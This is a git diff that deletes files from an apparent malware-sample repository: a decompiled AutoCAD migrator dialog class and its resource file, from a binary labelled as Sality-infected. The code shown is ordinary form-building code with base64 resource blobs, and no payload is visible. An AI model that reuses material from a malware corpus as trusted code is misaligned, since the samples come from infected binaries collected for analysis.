AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAPAAAACw== - - - 4 - - - User Profiles - - - 0 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEABAAAQAAAACw== - - - &Settings and files to migrate: - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAADMBAAAXAAAACw== - - - FilesCheckBoxPanel - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - OK - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAFAAAAAWAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - 1 - - - User-defined hatch patterns - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEABAAAQAAAACw== - - - FilesCheckBoxPanel - - - 8 - - - $this - - - 3 - - - FilesCheckBoxPanel - - - 3 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAUAQAAkAEAAAs= - - - 5 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAFwBAAC4AAAACw== - - - $this - - - {0}-defined hatch patterns - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEABAAAQAAAACw== - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - FooterText - - - AcadHatchFilesCheck - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 3 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAIAAAAhAAAAAs= - - - MainForm - - - System.Windows.Forms.Form, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 1 - - - 8 - - - 12 - - - System.Windows.Forms.Button, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - CancelBtn - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - $this - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ItemList - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Gb3JtU3RhcnRQb3NpdGlvbgEAAAAHdmFsdWVfXwAIAgAAAAEAAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAIAAAATAAAAAs= - - - 5 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAIAAAAYAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAADMBAAAXAAAACw== - - - &Migrate settings from: - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAIAAAAWAEAAAs= - - - UserProfilesCheck - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAEAAAAfAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - True - - - $this - - - 5 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAEAAAApAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAABkAAAAkAEAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAKAAAACw== - - - 6 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAEAAAABAAAAAs= - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MigratorMessageBox.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MigratorMessageBox.cs deleted file mode 100644 index e8fd4480..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MigratorMessageBox.cs +++ /dev/null @@ -1,85 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.MigratorMessageBox -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -namespace Autodesk.AutoCAD.ADMigrator -{ - public class MigratorMessageBox : Form - { - private Button YesButton; - private Button NoButton; - private Label MessageText; - private Container components; - private PictureBox pictureBox1; - private Label WarningText; - private DialogResult mResult = DialogResult.Cancel; - - public DialogResult DlgResult => this.mResult; - - public MigratorMessageBox() - { - this.InitializeComponent(); - this.pictureBox1.Image = (Image) SystemIcons.Question.ToBitmap(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (MigratorMessageBox)); - this.YesButton = new Button(); - this.NoButton = new Button(); - this.MessageText = new Label(); - this.pictureBox1 = new PictureBox(); - this.WarningText = new Label(); - ((ISupportInitialize) this.pictureBox1).BeginInit(); - this.SuspendLayout(); - componentResourceManager.ApplyResources((object) this.YesButton, "YesButton"); - this.YesButton.DialogResult = DialogResult.OK; - this.YesButton.Name = "YesButton"; - componentResourceManager.ApplyResources((object) this.NoButton, "NoButton"); - this.NoButton.DialogResult = DialogResult.Cancel; - this.NoButton.Name = "NoButton"; - componentResourceManager.ApplyResources((object) this.MessageText, "MessageText"); - this.MessageText.Name = "MessageText"; - componentResourceManager.ApplyResources((object) this.pictureBox1, "pictureBox1"); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.TabStop = false; - componentResourceManager.ApplyResources((object) this.WarningText, "WarningText"); - this.WarningText.Name = "WarningText"; - componentResourceManager.ApplyResources((object) this, "$this"); - this.Controls.Add((Control) this.pictureBox1); - this.Controls.Add((Control) this.MessageText); - this.Controls.Add((Control) this.NoButton); - this.Controls.Add((Control) this.YesButton); - this.Controls.Add((Control) this.WarningText); - this.FormBorderStyle = FormBorderStyle.FixedDialog; - this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (MigratorMessageBox); - ((ISupportInitialize) this.pictureBox1).EndInit(); - this.ResumeLayout(false); - } - - public static DialogResult Show(string msg, string msgCaregory, string title) - { - MigratorMessageBox migratorMessageBox = new MigratorMessageBox(); - migratorMessageBox.Text = title; - migratorMessageBox.WarningText.Text = msgCaregory; - migratorMessageBox.MessageText.Text = msg; - return migratorMessageBox.ShowDialog(); - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MigratorMessageBox.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MigratorMessageBox.resx deleted file mode 100644 index 8a695dfb..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MigratorMessageBox.resx +++ /dev/null @@ -1,301 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAA8AAAAIwAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAAB9TeXN0ZW0uRHJhd2luZy5Db250ZW50QWxpZ25tZW50AQAAAAd2YWx1ZV9fAAgCAAAAAgAAAAs= - - - - 0 - - - $this - - - 0 - - - 4 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAH5iAAACAAABAAkAMDAQAAEABABoBgAAlgAAACAgEAABAAQA6AIAAP4GAAAQEBAAAQAEACgBAADmCQAAMDAAAAEACACoDgAADgsAACAgAAABAAgAqAgAALYZAAAQEAAAAQAIAGgFAABeIgAAMDAAAAEAIACoJQAAxicAACAgAAABACAAqBAAAG5NAAAQEAAAAQAgAGgEAAAWXgAAKAAAADAAAABgAAAAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8A/wCAAIAA/wAAAIAAAAD//wAAgIAAAAD/AAAAgAAAAP//AACAgAAAAP8AAACAAP///wDAwMAAgICAAAAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8zMz///////////mZ///////////////MzM///////////5mZn/////////////zMzP///////////5iZmf////////////zMz////////////5iJmZ////////////zMz/////////////mImZn///////////zMz////8////////+YiZmf//////////zMzP///M/////////5iJmZ//////////zMzM//zM//////////mImZn/////////zMzMzMzM//////////+YiZmf///////8zMzMzMzM///////////5iJmZ///////MzMzMzMzP////////////mImZn/////zM3MzMzMz/////////////+YiZmf///8zNzM///////////////////5iJmZ///MzczP////////////////////mImZnPzM3Mz/////////////////////+YiZz8zNzM///////////////////////5iM/MzczP////////////////////////nPzM3Mz/////////////////////////z8zNzM///////////////////////////MzczP//////////////////////////zM3Mz8/////////////////////////8zNzM/Jn////////////////////////MzczPyJmf//////////////////////zM3Mz/+YmZ/////////////////////8zNzM///5iZn////////////////////MzczP////mJmf//////////////zMzMzM3Mz/////+YmZ/////////////8zMzMzNzM///////5iZn///////3////MzMzMzMzP////////mJ///////9/////MzMzMzMz/////////+f/////////////Mz//MzMz////////////////////////M///8zMz////////////////////////P////zMz/////////////////////////////zMz///////////////3/////////////zMz//////////////9/////////////8zMz//////////////f/////////////MzM//////////////3/////////////zMzP//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAP///////wAA////////AAD///////8AAP///////wAA/////gf/AAD4///8A/8AAPB///gH/wAA4D//8A//AADgH//wH/8AAOAP//AffwAA8Af/8D4/AAD4A//wHD8AAPwB//AAPwAA/gD/8AA/AAD/AH/gAD8AAP+AP8AAPwAA/8AfgAB/AAD/4A8AAP8AAP/wBgAB/wAA//gAAP//AAD//AAB//8AAP/+AAP//wAA//8AB///AAD//4AP//8AAP//gB///wAA//8AH///AAD//gAP//8AAP/8AAf/3wAA//gAA/8PAAD/8AMB/gcAAPgAB4D8AwAA8AAPwHwBAADgAB/gPAEAAMAAP/AAAwAAwAB/+AAHAADAAP/8AA8AAMOA//4AfwAAx8D//wB/AADvwP//AH8AAP/A//8A/wAA/4D//gH/AAD/AfgAA/8AAP4D/wAH/wAA/wf/4D//AAD///////8AAP///////wAA////////AAAoAAAAIAAAAEAAAAABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AIAAgAD/AAAAgAAAAP//AACAgAAAAP8AAACAAAAA//8AAICAAAAA/wAAAIAA////AMDAwACAgIAAAAAAAP//////////////////////////////////////////////////////////////////////////////////////////////////zM////////mZ/////////Mz////////5iZ////////zP////////+ZiZ///////8z//8//////+ZiZ///////Mz/zP//////+ZiZ/////8zMzMz///////+ZiZ////zNzMzP////////+ZiZn//M3M////////////+ZiZz8zcz/////////////+ZjPzNzP//////////////+c/M3M////////////////z8zcz/////////////////zNzP/////////////////M3M/P///////////////8zcz8if//////////////zNzP/5if/////////////M3M///5if/////f///8zMzcz////5if///9////zMzMzP/////5j////////8z/zM/////////////////P//zP//////////3////////8z//////////f////////zM/////////9/////////Mz////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w/+P/4H/B/8D/wP/Bv8B/wx/gP8Af8B+AH/gPAB/8BgA//gAAf/8AB///gA///8Af///AP///gD/P/wAfh/4CD4PgBweBwA+DA4AfwAeAP+AfjD/wH9w/8D/4P/B/8HwA//j+Af////////////////8oAAAAEAAAACAAAAABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AIAAgAD/AAAAgAAAAP//AACAgAAAAP8AAACAAAAA//8AAICAAAAA/wAAAIAA////AMDAwACAgIAAAAAAAP/////////////////////5n////M////mJ///8/////5if//z/z///+YnPzMzP////nPzc///////Pzc////////zc////////zc/P/////MzM//n////8/8//////////z////9////zP///9//////////////////////////8AAJ+PAAAPDwAABxMAAIMDAADAAwAA4AcAAPA/AADwfwAAgDkAAAEYAAADgQAAI8MAAMOHAADGDwAA//8AACgAAAAwAAAAYAAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAgIAAoKCAAJWqgCGgn4Amp7CADoyLgDSysIA3t7mAFZOSgBqYl4A7urmAFpijgAiHhoA1tLSAEY6OgBmVlIAWmamADIuKgD29vYA3t7aAE5GQgCCiroA1tLKAObi4gBeWlIAfnJqAPLy7gBudpoAKiYiAEI6MgBKPjoAAv7+AGZeWgBuerIALi4yABIODgACgv4AysrKAFpWTgDe2tYA/v76AK6qqgDa0soA6urmAIJyagB2grYA7u7uAGJuqgDm4t4ATkJCAKauzgA6MjIAXmaOACoiIgD++voA4uLeAObm4gByeqIALiomAEpCOgBuXloANjY2AHqKugCqln4A0s7OAOLm7gBeUkoA7u7qACoiHgDe1tIA+vr2AN7e3gBiXlYAdnZ2APb28gBudp4AKiYmAEY+NgA2MjYAGhYWAL6+vgDa1s4Afoa6AGZyqgCyttIA5ubmAA4ODgDazsIA4uLqAFZSSgBWXooAWmKSACYiHgDa1tIAQj5CAGZaUgA2Mi4AUkpGAJaavgDS0s4AYlpWAPLy8gBCOjYAZmJaADIyMgASEg4AXlZSANra2gCyrqoAgnZuAHqGtgCqstIAPjYyAEpCPgAGBgYAlpKOAEI2KgDWzsYA2t7qAG5iXgDu6uoAJh4eAEY+OgBeaqoANi4qAPr29gDi3toAUkZCAIKOtgCampoAwsLaAHZ+tgB+dnIAenJuAKqu0gBaUk4AFhISAGJaUgBydpoALiYiAEo+PgBqXloAMi4yAF5WTgD+/v4A2tLOAOrq6gB6grYA8u7uAGZuqgBeZpIA6ubiAG5iWgDy7uoA+vr6AOLe3gBydp4ALiYmAN7WzgBmcq4A6ubmAF5ikgDa1tYAZlpWANbSzgD28vIARjo2AN7a2gCyrq4AhnZuAD42NgBOQj4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD09PT09AAAAAAAAAAAAAAAAAAAAAAA9PT0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPRMTExMoPQAAAAAAAAAAAAAAAAAAAD0CAgI9AAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMTEyg9AAAAAAAAAAAAAAAAAAAAPQICAgICPQAAAAAAAAAAAAAAAAAAAAAAAD0TExMTKD0AAAAAAAAAAAAAAAAAAAAAPQIkAgICAj0AAAAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAAD0AAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAPRM9AAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAAAAAAAAAAAAAAD0TExMTEz0AAAA9ExM9AAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAAAAAAAAD0TExMTExM9PT0TExM9AAAAAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAAAAAAAAAD0TExMTExMTExMTExM9AAAAAAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAAAAAAAAAPRMTExMTExMTExMTEygAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAA9ExMogRMTExMTExMTKD0AAAAAAAAAAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAD0TEyiBExMoKCgoKCgoPQAAAAAAAAAAAAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAPRMTKIETEyg9PT09PT09AAAAAAAAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAA9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0CJCQCAgICJT0TEyiBExMoPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9AiQkAgIlPRMTKIETEyg9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPQIkJCU9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0CJT0TEyiBExMoPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlPRMTKIETEyg9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0TEyiBExMoPSU9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPRMTKIETEyg9JQICPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMogRMTKD0lAgICAj0AAAAAAAAAAAAAAAAAPQAAAAAAAAAAAAAAAAAAAAAAAD0TEyiBExMoPQA9AiQCAgI9AAAAAAAAAAAAAD09PT0AAAAAAAAAAAAAAAAAAAAAPRMTKIETEyg9AAAAPQIkAgICPQAAAAAAAAAAPT09PT09AAAAAAAAAAA9PT09PT09ExMogRMTKD0AAAAAAD0CJAICAj0AAAAAAAA9PT09PT09PQAAAAAAAD0TExMTExMTEyiBExMoPQAAAAAAAAA9AiQCAgI9AAAAAAA9PT09PT09PT0AAAAAPRMTExMTExMTExMTEyg9AAAAAAAAAAAAPQIkAgICPQAAAAA9PT09PT0lPT0AAAA9ExMTExMTExMTExMTKD0AAAAAAAAAAAAAAD0CJAI9PT09PT09PT09PSU9PQAAAA